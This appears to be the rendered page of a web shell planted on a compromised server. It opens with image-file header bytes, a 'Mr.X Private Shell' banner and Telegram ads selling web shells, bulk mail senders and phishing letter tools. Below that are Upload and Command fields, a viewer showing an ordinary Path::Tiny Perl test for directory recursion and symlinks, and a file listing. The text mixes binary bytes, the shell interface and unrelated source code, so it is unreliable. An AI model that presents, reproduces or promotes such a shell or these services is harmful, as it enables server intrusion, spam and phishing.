����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use 5.006;
use strict;
use warnings;
use Test::More 0.92;
use File::Temp;

use lib 't/lib';
use TestUtils qw/exception tempd has_symlinks/;

use Path::Tiny;

#--------------------------------------------------------------------------#

subtest 'no symlinks' => sub {
    my $wd = tempd;

    my @tree = qw(
      aaaa.txt
      bbbb.txt
      cccc/dddd.txt
      cccc/eeee/ffff.txt
      gggg.txt
    );

    my @breadth = qw(
      aaaa.txt
      bbbb.txt
      cccc
      gggg.txt
      cccc/dddd.txt
      cccc/eeee
      cccc/eeee/ffff.txt
    );

    path($_)->touchpath for @tree;

    subtest 'iterator' => sub {
        my $iter = path(".")->iterator( { recurse => 1 } );

        my @files;
        while ( my $f = $iter->() ) {
            push @files, "$f";
        }

        is_deeply( [ sort @files ], [ sort @breadth ], "Breadth first iteration" )
          or diag explain \@files;
    };
    subtest 'visit' => sub {
        my @files;
        path(".")->visit( sub { push @files, "$_[0]" }, { recurse => 1 }, );

        is_deeply( [ sort @files ], [ sort @breadth ], "Breadth first iteration" )
          or diag explain \@files;
    };
    subtest 'visit state' => sub {
        my $result = path(".")->visit( sub { $_[1]->{$_}++ }, { recurse => 1 }, );

        is_deeply( [ sort keys %$result ], [ sort @breadth ], "Breadth first iteration" )
          or diag explain $result;
    };
    subtest 'visit abort' => sub {
        my $result =
          path(".")->visit( sub { return \0 if ++$_[1]->{count} == 2 }, { recurse => 1 } );

        is( $result->{count}, 2, "visitor aborted on false scalar ref" );
    };
};

subtest 'with symlinks' => sub {
    plan skip_all => "No symlink support"
      unless has_symlinks();

    my $wd = tempd;

    my @tree = qw(
      aaaa.txt
      bbbb.txt
      cccc/dddd.txt
      cccc/eeee/ffff.txt
      gggg.txt
    );

    my @follow = qw(
      aaaa.txt
      bbbb.txt
      cccc
      gggg.txt
      pppp
      qqqq.txt
      cccc/dddd.txt
      cccc/eeee
      cccc/eeee/ffff.txt
      pppp/ffff.txt
    );

    my @nofollow = qw(
      aaaa.txt
      bbbb.txt
      cccc
      gggg.txt
      pppp
      qqqq.txt
      cccc/dddd.txt
      cccc/eeee
      cccc/eeee/ffff.txt
    );

    path($_)->touchpath for @tree;

    symlink path( 'cccc', 'eeee' ), path('pppp');
    symlink path('aaaa.txt'), path('qqqq.txt');

    subtest 'no follow' => sub {
        # no-follow
        subtest 'iterator' => sub {
            my $iter = path(".")->iterator( { recurse => 1 } );
            my @files;
            while ( my $f = $iter->() ) {
                push @files, "$f";
            }
            is_deeply( [ sort @files ], [ sort @nofollow ], "Don't follow symlinks" )
              or diag explain \@files;
        };
        subtest 'visit' => sub {
            my @files;
            path(".")->visit( sub { push @files, "$_[0]" }, { recurse => 1 }, );
            is_deeply( [ sort @files ], [ sort @nofollow ], "Don't follow symlinks" )
              or diag explain \@files;
        };
    };

    subtest 'follow' => sub {
        subtest 'iterator' => sub {
            my $iter = path(".")->iterator( { recurse => 1, follow_symlinks => 1 } );
            my @files;
            while ( my $f = $iter->() ) {
                push @files, "$f";
            }
            is_deeply( [ sort @files ], [ sort @follow ], "Follow symlinks" )
              or diag explain \@files;
          };
          subtest 'visit' => sub {
            my @files;
            path(".")
              ->visit( sub { push @files, "$_[0]" }, { recurse => 1, follow_symlinks => 1 }, );
            is_deeply( [ sort @files ], [ sort @follow ], "Follow symlinks" )
              or diag explain \@files;
          };
    };
};

done_testing;
#
# This file is part of Path-Tiny
#
# This software is Copyright (c) 2014 by David Golden.
#
# This is free software, licensed under:
#
#   The Apache License, Version 2.0, January 2004
#

Filemanager

Name Type Size Permission Actions
data Folder 0755
fakelib Folder 0755
lib Folder 0755
00-report-prereqs.dd File 4.52 KB 0644
00-report-prereqs.t File 5.88 KB 0644
README File 214 B 0644
basename.t File 880 B 0644
basic.t File 9.06 KB 0644
children.t File 1.24 KB 0644
chmod.t File 1020 B 0644
digest.t File 1.25 KB 0644
exception.t File 1.26 KB 0644
exports.t File 674 B 0644
filesystem.t File 14.21 KB 0644
has_same_bytes.t File 2.04 KB 0644
input_output.t File 18.31 KB 0644
input_output_no_PU_UU.t File 579 B 0644
input_output_no_UU.t File 566 B 0644
locking.t File 1.37 KB 0644
mkdir.t File 1.52 KB 0644
mkpath.t File 1.46 KB 0644
mutable_tree_while_iterating.t File 1.43 KB 0644
normalize.t File 898 B 0644
overloading.t File 534 B 0644
parent.t File 3.06 KB 0644
recurse.t File 3.89 KB 0644
rel-abs.t File 7.88 KB 0644
sig_die.t File 533 B 0644
size.t File 4.76 KB 0644
subsumes.t File 3.16 KB 0644
symlinks.t File 1.51 KB 0644
temp.t File 4.99 KB 0644
visit.t File 447 B 0644
zz-atomic.t File 922 B 0644
zzz-spec.t File 6.62 KB 0644